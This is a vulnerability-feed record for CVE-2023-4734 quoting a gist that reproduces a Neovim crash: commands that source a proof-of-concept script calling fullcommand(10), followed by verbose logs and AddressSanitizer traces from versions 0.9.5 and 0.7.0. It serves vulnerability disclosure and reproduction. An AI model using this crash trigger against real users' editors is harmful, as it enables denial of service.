{"uuid": "2feb503d-27b2-4c67-ab67-35682c711be3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4734", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/4c3c9b99ec5cc9e701c0592bea7ffb79", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_fullcommand()\n\nline 4: \n\nline 5: call Test_fullcommand()\n\ncalling Test_fullcommand()\n\nline 1:   call assert_equal('', fullcommand(10))\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==36162==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000000a (pc 0x000000757506 bp 0x7ffd2c4c95e0 sp 0x7ffd2c4c9420 T0)\n==36162==The signal is caused by a READ memory access.\n==36162==Hint: address points to the zero page.\n    #0 0x757506 in f_fullcommand /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:3126:16\n    #1 0x6c4da2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:242:3\n    #2 0x705869 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1622:15\n    #3 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #4 0x6a592d in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2193:13\n    #5 0x6a22c8 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3000:15\n    #6 0x6a1490 in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2742:7\n    #7 0x6a0a43 in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2597:7\n    #8 0x6a041f in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2467:7\n    #9 0x69ffb6 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2399:7\n    #10 0x68a23b in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2342:7\n    #11 0x685970 in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2280:7\n    #12 0x704bce in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:9\n    #13 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #14 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #15 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #16 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #17 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #18 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #19 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #20 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #21 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #22 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #23 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #24 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #25 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #26 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #27 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #28 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #29 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #30 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #31 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #32 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #33 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #34 0x7f0a67003082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #35 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:3126:16 in f_fullcommand\n==36162==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_fullcommand()\n\nline 4: \n\nline 5: call Test_fullcommand()\n\ncalling function Test_fullcommand()\n\nline 1:   call assert_equal('', fullcommand(10))\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==37683==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000000a (pc 0x00000094fd76 bp 0x7ffcb27d7770 sp 0x7ffcb27d74a0 T0)\n==37683==The signal is caused by a READ memory access.\n==37683==Hint: address points to the zero page.\n    #0 0x94fd76 in f_fullcommand /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2912:10\n    #1 0x825318 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:203:3\n    #2 0x8af549 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1589:15\n    #3 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #4 0x7e5874 in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3324:13\n    #5 0x7e00d6 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:4234:15\n    #6 0x7dd36e in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3912:7\n    #7 0x7dbcec in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3737:7\n    #8 0x7db070 in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3633:7\n    #9 0x7da9d7 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3554:7\n    #10 0x7a47c7 in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3485:7\n    #11 0x7935ec in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3411:7\n    #12 0x8ace03 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:429:9\n    #13 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #14 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #15 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #16 0x8b2736 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n    #17 0x8af2a3 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n    #18 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #19 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #20 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #21 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #22 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #23 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #24 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #25 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #26 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #27 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #28 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #29 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #30 0x7fd5f4583082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #31 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2912:10 in f_fullcommand\n==37683==ABORTING", "creation_timestamp": "2026-09-06T13:52:32.332477Z"}